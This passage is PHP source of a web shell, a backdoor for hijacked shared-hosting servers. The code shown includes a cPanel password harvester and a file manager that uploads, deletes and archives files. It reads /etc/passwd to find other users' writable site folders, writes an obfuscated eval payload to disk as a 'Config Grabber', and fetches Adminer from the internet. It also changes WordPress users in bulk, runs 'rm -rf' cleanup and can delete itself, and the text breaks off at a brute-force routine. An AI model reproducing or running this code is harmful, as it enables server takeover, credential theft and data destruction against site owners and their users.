 $p = file_get_contents(\'\' . $path . \'/\' . $r . \'.txt\');\r\n                    $password = entre2v2($p, \'password="\', \'"\');\r\n                    echo "<tr><td valign=top class=style2 style=width: 139px>" . $count++ . "</td><td valign=top class=style2 style=width: 139px><a target=_blank href=http://" . $dmn[$j - 1] . \'/>\' . $dmn[$j - 1] . \' </a></td><td valign=top class=style2 style=width: 139px>\' . $r . "</td><td valign=top class=style2 style=width: 139px>" . $password . "</td><td valign=top class=style2 style=width: 139px><a href=\'" . $r . ".txt\' target=\'_blank\'>Click Here</a></td></tr>";\r\n                    $dc++;\r\n                    flush();\r\n                    $l = $l ? 0 : 1;\r\n                    $j++;\r\n                }\r\n            }\r\n        }\r\n        echo \'</table>\';\r\n        $total = $dc;\r\n        echo \'<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel Found = \' . $total . \'</h3><br />\';\r\n        echo \'</center>\';\r\n    }\r\n} else {\r\n    echo "<div class=result><i><font color=#ff1111>ERROR</font><br><font color=#ff1111>/var/named</font> or <font color=#ff1111>etc/named.conf</font> Not Accessible!</i></div>";\r\n}\r\n\techo" </div>";\r\n\thardFooter();\r\n}\r\nfunction actionReseller() {\r\n\thardHeader();\r\n\techo "<center><h1>WHM & Reseller Finder</h1><div class=content><br>";\r\n\techo "<br><center>  <iframe src=\'?reseller\' width=\'900\' height=\'470\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesMan() {\r\n    if (!empty ($_COOKIE[\'f\']))\r\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tswitch($_POST[\'p1\']) {\r\n\t\t\tcase \'uploadFile\':\r\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\r\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\r\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\r\n                                echo "Can\'t upload file!";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'mkdir\':\r\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\r\n\t\t\t\t\techo "Can\'t create new dir";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'delete\':\r\n\t\t\t\tfunction deleteDir($path) {\r\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n\t\t\t\t\t$dh  = opendir($path);\r\n\t\t\t\t\twhile ( ($▟ = readdir($dh) ) !== false) {\r\n\t\t\t\t\t\t$▟ = $path.$▟;\r\n\t\t\t\t\t\tif ( (basename($▟) == "..") || (basename($▟) == ".") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t$type = filetype($▟);\r\n\t\t\t\t\t\tif ($type == "dir")\r\n\t\t\t\t\t\t\tdeleteDir($▟);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($▟);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\t@rmdir($path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@$_POST[\'f\']))\r\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\r\n                        if($f == \'..\')\r\n                            continue;\r\n\t\t\t\t\t\t$f = urldecode($f);\r\n\t\t\t\t\t\tif(is_dir($f))\r\n\t\t\t\t\t\t\tdeleteDir($f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'paste\':\r\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\r\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\r\n\t\t\t\t\tfunction move_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        if ($zip->open($_POST[\'p2\'], 1)) {\r\n                            chdir($_COOKIE[\'c\']);\r\n                            foreach($_COOKIE[\'f\'] as $f) {\r\n                                if($f == \'..\')\r\n                                    continue;\r\n                                if(@is_file($_COOKIE[\'c\'].$f))\r\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\r\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\r\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\r\n                                    foreach ($iterator as $key=>$value) {\r\n                                        $zip->addFile(realpath($key), $key);\r\n                                    }\r\n                                }\r\n                            }\r\n                            chdir($GLOBALS[\'cwd\']);\r\n                            $zip->close();\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        foreach($_COOKIE[\'f\'] as $f) {\r\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\r\n                                $zip->extractTo($GLOBALS[\'cwd\']);\r\n                                $zip->close();\r\n                            }\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\r\n                    chdir($_COOKIE[\'c\']);\r\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\r\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\r\n                    chdir($GLOBALS[\'cwd\']);\r\n\t\t\t\t}\r\n\t\t\t\tunset($_COOKIE[\'f\']);\r\n                setcookie(\'f\', \'\', time() - 3600);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n                if(!empty($_POST[\'p1\'])) {\r\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\r\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\r\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n    hardHeader();\r\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\r\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\r\n\tglobal $sort;\r\n\t$sort = array(\'name\', 1);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\r\n\t\t\t$sort = array($match[1], (int)$match[2]);\r\n\t}\r\necho "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\r\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\r\n\t$dirs = $files = array();\r\n\t$n = count($dirContent);\r\n\tfor($i=0;$i<$n;$i++) {\r\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\r\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\r\n\t\t$tmp = array(\'name\' => $dirContent[$i],\r\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\r\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\r\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\r\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\r\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t}\r\n\t$GLOBALS[\'sort\'] = $sort;\r\n\tfunction cmp($a, $b) {\r\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\r\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t}\r\n\tusort($files, "cmp");\r\n\tusort($dirs, "cmp");\r\n\t$files = array_merge($dirs, $files);\r\n\t$l = 0;\r\n\tforeach($files as $f) {\r\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\r\n\t\t\t.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\r\n\t\t$l = $l?0:1;\r\n\t}\r\n\techo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=\'\'>\r\n\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n\t<label><select name=\'p1\'>";\r\n\tif(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\r\n        echo "<option value=\'paste\'>↳ Paste</option>";\r\n\techo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\r\n    if(class_exists(\'ZipArchive\'))\r\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\r\n    echo "<option value=\'tar\'>+ tar.gz</option>";\r\n    echo "</select></label>";\r\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\r\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\r\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\r\n\thardFooter();\r\n}\r\nfunction actionStringTools() {\r\n\thardHeader();\r\n\techo "<center><h1>Jumping :D</h1><div class=content><br>";\r\n\t$i = 0;\r\n@ini_set(\'display_errors\', 0);\r\necho "<pre><div class=\'margin: 5px auto;\'>";\r\n$etc = fopen("/etc/passwd", "r") or die("<font color=white>Can\'t read /etc/passwd</font>");\r\nwhile ($passwd = fgets($etc)) {\r\n    if ($passwd == \'\' || !$etc) {\r\n        echo "<font color=white>Can\'t read /etc/passwd</font>";\r\n    } else {\r\n        preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\r\n        foreach ($user_jumping[1] as $user_khoer_jump) {\r\n            $user_jumping_dir = "/home/$user_khoer_jump/public_html";\r\n            if (is_readable($user_jumping_dir)) {\r\n                $i++;\r\n                $jrw = "[<font color=white>R</font>] <a href=\'?path=$user_jumping_dir\'><font color=red>$user_jumping_dir</font></a>";\r\n                if (is_writable($user_jumping_dir)) {\r\n                    $jrw = "[<font color=white>RW</font>] <a href=\'?path=$user_jumping_dir\'><font color=red>$user_jumping_dir</font></a>";\r\n                }\r\n                echo $jrw;\r\n                if (function_exists(\'posix_getpwuid\')) {\r\n                    $domain_jump = file_get_contents("/etc/named.conf");\r\n                    if ($domain_jump == \'\') {\r\n                        echo " => ( <font color=white>I can\'t take the domain name</font> )<br>";\r\n                    } else {\r\n                        preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\r\n                        foreach ($domains_jump[1] as $dj) {\r\n                            $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\r\n                            $user_jumping_url = $user_jumping_url[\'name\'];\r\n                            if ($user_jumping_url == $user_khoer_jump) {\r\n                                echo " => ( <u>$dj</u> )<br>";\r\n                                break;\r\n                            }\r\n                        }\r\n                    }\r\n                } else {\r\n                    echo "<br>";\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\nif ($i == 0) {\r\n} else {\r\n    echo "<br>Total " . $i . " Directory " . gethostbyname($_SERVER[\'HTTP_HOST\']) . "";\r\n}\r\necho "</div></pre>";\r\n\techo "</div>";\r\n\thardFooter();\r\n}\r\n\r\nfunction actionSafeMode() {\r\n\thardHeader();\r\n\techo "<center><h1>Config Grabber</h1><div class=content><br>";\r\n\t@ini_set(\'display_errors\', 0);\r\n\t$cgi_dir = mkdir(\'priv_sym\', 0755);\r\n        chdir(\'priv_sym\');\r\n\t$file_mass = "conf.php";\r\n\t$mass_script = "PD9wSHAgJGhleCA9ICI3VnpyUnR0VkV2KzhSL0UvekxxNHNna1BrWG0yc3BVQUcrQjV2TnlkWkp5Rld3ZzVsMU9ua1RDK3NUUzJ0RlZiL08vWE15UEo4Z3VMOUh6WXF6cXFWZlNZL3ZWdytpWGg5c2ZZanZ0WmE0MXRHRE1uNGNPK1kxM3Fzdm91T2RqK3NMa1JqMWFEYks1VUV6b1FZWVA1SXpoNG5GMmQ5VUpic0hHWC9MQzlXbzZPVlhvUTI3VjY4c2ZtQm9FZkVWR1UxQTlNNE1hT2Fzd1Q0VzJOMmxKNWgyZkFDQlB1dldPSldqM0NmTWVocmlmQzJ2YWhsYTJ1Zjhnd0htOFBEcCswREZ2OXM5UFdiTUZnYmVsWVBhRDJPSjdVdjFjeDZubVkzbFNVYkt4ZXJKVS9IOVBITUdrYk5jZU43My9xRjR0M29NSzdhdSsyUDFsS2lnZlJxQ1UyMlhERUltYkxMWmRGcjBsZXZSVnNQQWdFY0FSWlkrcHJNYlVadWJaUVFHN2tNMXJBZDYxdWJSUGJqM2xtNDBic2lzQ2o3a010UStEN2taZGhZV2ZDOEh6b0NPS0pCOCtDV29oNnN1OVJEa1JxcnJnZGdnSG5ZbUZodExnWHMvR1FaK3h1clNUU3gyU2NpTDdqZTMwd2pDZDVqeTJvZXUzbmI0TUJDaFZ6OUJKZTBHbzRjSU1RTk1zdHJTL1V2NjVjS0I2Y2hJWmd3TTBOaVR5OVNzWWVSa3J3SUlJTkxORmxVN2F5cGVWOVJpd2NQZ3YrWG04djRxcTFQbXVYbEV2U2ZQbng2L3p0MzFJNm9oTE1aTVdrN3dxd2RDQWFhT3ZPdXVmdW5UVVlET0JWMmVqT3NpQUc2dkNyTU9jWlZnZEhHQ24zZ2dnUU1zdkdCY0dDSG1iZVNDUDdtYmo3cEhOU251ZUVOR0RXd05uVERxMDhZSDdqRkVTbUJKRHRYVU0zQkRFWTIvY2VjejJ6T2xUTnptcTU5TjVYWFA5V2RwcGpORmpya2RyaWtjV1ZhOTdRVkpxS01NYXdCYy96UnVzRjVvVTFsNWNJaGl6MkJMTlBNZVorNGt5UWM3M1luckJYckQrNXZzTVR2STBMcHJFZFIyOThCdTdrOFVsUkhRUm03amdXVWJlVjBBQ1VhMVdUdFhsaStRUmxGY1h3RE5QWWZzbnVuanJDN21YWHcrbVp4SUdLbk56Z0lmZjRpRE5FVm9SZWtzUXM0YU9sSWp4YVFyUERwL1hWTDRGTnM2YjJkcElsdGU5d1U5K29UR05xbnVCL3YvcHliVHhiL2RhWitPM0IyelhtaFJVdnNDMnMvdE1hYVdaUVR1WUM3R2NqN2s4K09YZWZmOTc3aWV4ODVtbWdtVStDSVR2WEV4c3FleGRjSDJIUkpCUXUreHk3ekNNN2Y3czZ2NzBoTy9MZlpqNVg0SDRMR2o5TXRwcCtBaG9WcDUrRVlRS0JIZGs1NGFtNGlGQXZPbTJWQ2FJNWtFb3lUY0JobXh0YU1XTWh4ZmJzVm5rTFpYY1hTcnJVRHNsZi9uWDIvdHJ1dGM3N242OWliU2VkMjk0VCtkZitxN0xweVplVDd0ZUNWMWRRN2lUNlNZbTQzYngrUlZoaWFadFVQeHk4MlFlU3lpNG50eGZsWWhPWGozTWRZY2JmOUUyNWRZblBlc1VzN2xSZVEvWWluaVJGMzMvNzREWGtCQXJ3eWtQYTBwUndDblpsa2QyTVNiWEJqUHVPbFRVYkVtQzNFRzlCNGExbzNlVzB1K3FEek5CdU5mWmYvYno5L3VHOTdNc3k2cXpYeXNUS09Wa2J6TkxOTDYrL3FpWkdYVVhLekJob1dPcVVMUVdadU92eUlZUjNCRDJIU0tLeDlyWE9FWFJFalJ3ZGs5ckYxZTFlNmRvdVRFL2srQ09vRW1DRU5FelMrbldjb3I5TUR6SGZ4blVBMWF1c0oxN2RrblVZM1dwSDFuQyt2ZEFnMHg1dlBkQlBxNkFoc242Z0F2MWMyZGZrYkhxdnhQKzVFcTdoOGpxOUh1NStjWUVwRWo4VWVVNm9YMU4ra2dpdzEyMFlFeGphUW93aE1TTkRUbURLUGd2a3Q4TXFBVERIM1dwWTIzekt1alJhaFJ1SUNvRUUzbm9NakM0WUZ3RVYwSVZkLzNNMHg2V2hIMnZteEFzZ0tJMkI1VjdRbnlSbkJObWpBTGsrcStBSk00L2FURGJQbjZlclExdVFWajBreWlpaEV5eUU4RGdTVDc2RTQwdUR5TXFDdHlrTzRPSU1DV0NMQWNNcWtTOVM0aGp3cmtPa0ZBbWhZZUlnN2w5d0FkNWcvZHZBYVlCMEdJaG9yQlFMTCtzMGduNGpTakhkUEl0T3FGaWdwKzIyS3NpU0xteHMrRTlzY2U1UGIzSEpDNG1pc2hjU0krVlNKL3JOR09vbUVsQ0ZQUkpRY2g4a0JnUStGdUVORnVGcXRRNkxJb01mQ2FHQ2R4VlZ4WWdiVVhiQVNScTFJc2lGQkRFaHlKOEFVQzR6WUE0RG11QVZ3ZXVCU2dPSlkyamFPc2RQME5Wc3B5SlJoSWQxdGMvT1Fadm5QWG5BdHJJL1kzRDluQm5DQ2Ftc1JITkRESGxuZWEvc1UxN2daTmNudnhyd0dMd3MzVUVUNi8zeWxSVVNJc0JRbkRZLzlacExERGNVTGhLREdzRG8zbHozUWREYmtzVENVMktNQ1JDdFFhZlo2eGhFaWJ0dmNtTDBJclVNQUhJNTExbkdOWk5pa1NpWDF6YzMrT1JuR1NjSlBqbU5qS0JjdHYrT1V2Q0hTMXJRQ0xlZGs4NnZQU3dJdC9seDVhTk5VcERVQklqT0NYUENWS2NGTTA2a3NjeUVSV0FRcTN2VjYvNXAybE9iS2hMQkkvWFJtcG1CeVdVTnRtN05rZzIyVUJ5WmdibnN0SDdyYnZmcGtyTlVnVFh2eUFSVnE5ZDZON0ZzcHlVQzM4V21ESE1DcE5XNXdUOGc4UVQvWTNFQVVJYVBnZEF4RURaVmlMTnBzM3ZWZG02OTdNeHFnNGd6cklzNGMyQTYzZTUyRzkzRmFvS0ErdWdPbkJ0T2RyZlFRa3Q2aG40NDh2RVFUUE51cGtndzB5VDh2NUl1NlVteGZmc3R0dWxCc1FCTXpjSy9wWndDb2Q4L085d1cySXl0dlJaZHdUSVlVQSsrSmw2OWpGTUxmK204cEE5TVhFY2dwdy81VUNzZUNRdWgzaWtqTWE0TVlGbGZCSnNCTW00WEF6dWtYazBpTWJUTGJ3WFJMK21Nb0tEM0tBOTJNekIxWkZsU2NGN1JrRGhEUTdBeG9BdUJvVlV5NG4vRkorUENtR3g3YlA0dGZUenVIOElPS24ydTlUOXRvVTdFeGM4Q29pRU5XRGo3bVZrMFhJRVVNL3IyemV0cVJnaVp5cVVmU3ZvQVNMYlVISndacEN0d1ZkT2ljUkxPbkwxeDBqSUNOdXV1R0NTZExNd0lwVmlXVGl4USs1aVhMNU5naGxITFdKbFdNRkNpVGt3ekUxSzZ1Qm1OeU9wZXUzemd1enh4STRka3NsQWczYkpzeXZNNW52bko2UmNNVkJYelBEd0ZUcVlEUFhkVGVDSlhNMDBaODNKbW40cmZMQUF3Vzg3b2lZaUVpWEpxbEJpSzcwZUtGYk5ISmJ2dmxTMmh4azlxNThlcnlqOXd4NWU2bE5qc3p1cStqUEIyOXRKR1VuZ3ZuUzdOZjRyNXhxMWNqSVc1eTIrR1NYaXFCbURWdFpMRzh1SzZidGgwaFZ5WXp5eTJJcHY0T3lMUFZTckg5VU52RnJKMnNLV1NLR1l0bVJwOUVlZmxScVl6Q2hzWklyMFNIRzllem0vcWJuUEorN2toMGRJVTZPeDg2TXhWZFhhMms1U0dQdk5ZK1R5b25CZzlnK1NSamhJeE53Tk5XNkgxMm5iTUZ4cHMvV3B5UjQyQ1ltNWVtSHlwbzYyTzQ0cno0b3Y1Um4xbVdPMHdrTFhXUFQ3a0pHWEYrT2hoTVhMZDFZNFB4MkJ1RXRDRXVsU2p4QmZIbjZndERpMXM5ZmpRNHZDYndkUythTFp0U1pyTmpXeHNWL1BUUmFBbS9DOFp3OExSb3ZEWmIwdlhMYi9XYjk4azZ0SmNTMDdjTEJWSmxqaGJZbGwxOVQwRUw1Wk5STTBJV2szcVczeWVsVjFHU0JaOXRwSnpSVTd2a0pKSGF4RU5KVFFBM3RVSUR5UVFuRmduTE9UKzdydFFkVzBTVlhESFZ5QTUyUzQvbGxFZ3RvUWtTU1BEUUI0a1kyZEhsL2ZxeEtVRE9INW1RNWVPREZTdkR3N3FBSmJMcGNUSUdoN1NxS2xXU0ExSFVYRW1xWlh6MDl4VVJhVGN4SWROcm96elhWcWZnaWlaZFcyWDRKd3dZcGpJS3dPWkNkK1R0ejhlT0E4ZjRGTWs0bGJrd1kzWEI2QzBSWmJxT2ZsN0RxRUhOOEMzQzBZVE9EbTA5SUt5R0dZa01wQ25OTC9DVEFXaXpQT0JycVdQaUtZdmtTNEtTbndEQnBEOW9nNVZpZXRWT2tWVG5SdnZNTFloaVJOaTZDaHRmNVRHMG1BNVlBdFo3WDMvdldjQXl3dmxQKzdVcWZUMlBaR2ZqLzhMIjsKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCgkaGV4KSkpKSkpOyA=";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center>  <iframe src=\'priv_sym/conf.php\' width=\'900\' height=\'480\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionEdituser() {\r\n\thardHeader();\r\n\techo "<center><h1>Wordpress Mass User Changer</h1><div class=content><br>";\r\n\techo "<br><center>  <iframe src=\'?user\' width=\'900\' height=\'400\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionLogout() {\r\n\texec("rm -rf priv_sym priv_cgi adminer.php");\r\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\r\n\tdie("<style>\r\n\tbody {background-color:#000000; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); } </style></br></br><body><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'>Bye -,-<br><br></form> </body>");\r\n}\r\nfunction actionSelfRemove() {\r\n\tif($_POST[\'p1\'] == \'yes\')\r\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\r\n\t\t\tdie(\'Shell has been removed\');\r\n\t\telse\r\n\t\t\techo \'unlink error!\';\r\n    if($_POST[\'p1\'] != \'yes\')\r\n        hardHeader();\r\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\r\n\thardFooter();\r\n}\r\n\r\n\r\nfunction actionAdminer() {\r\n\thardHeader();\r\n\techo "<center><h1>Adminer</h1><div class=content><br>";\r\n\t$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\r\n\tfunction adminer($url, $isi) {\r\n\t\t$fp = fopen($isi, "w");\r\n\t\t$ch = curl_init();\r\n\t\t \t  curl_setopt($ch, CURLOPT_URL, $url);\r\n\t\t \t  curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\r\n\t\t \t  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\t\t \t  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\t\t   \t  curl_setopt($ch, CURLOPT_FILE, $fp);\r\n\t\treturn curl_exec($ch);\r\n\t\t   \t  curl_close($ch);\r\n\t\tfclose($fp);\r\n\t\tob_flush();\r\n\t\tflush();\r\n\t}\r\n\tif(file_exists(\'adminer.php\')) {\r\n\t\techo "<center><font color=white><br><br><a href=\'adminer.php\' target=\'_blank\'>[ Adminer login ]</a><br><br><br></font></center>";\r\n\t} else {\r\n\t\tif(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {\r\n\t\t\techo "<center><font color=white><br><br><a href=\'adminer.php\' target=\'_blank\'>[ Adminer login ]</a><br><br></font></center>";\r\n\t\t} else {\r\n\t\t\techo "<center><font color=red>Failed to create Adminer file</font></center>";\r\n\t\t}\r\n\t}\r\n\thardFooter();\r\n}\r\nfunction actionBruteforce() {\r\n\thardHeader();\r\n\techo "<center><h1>Cgi 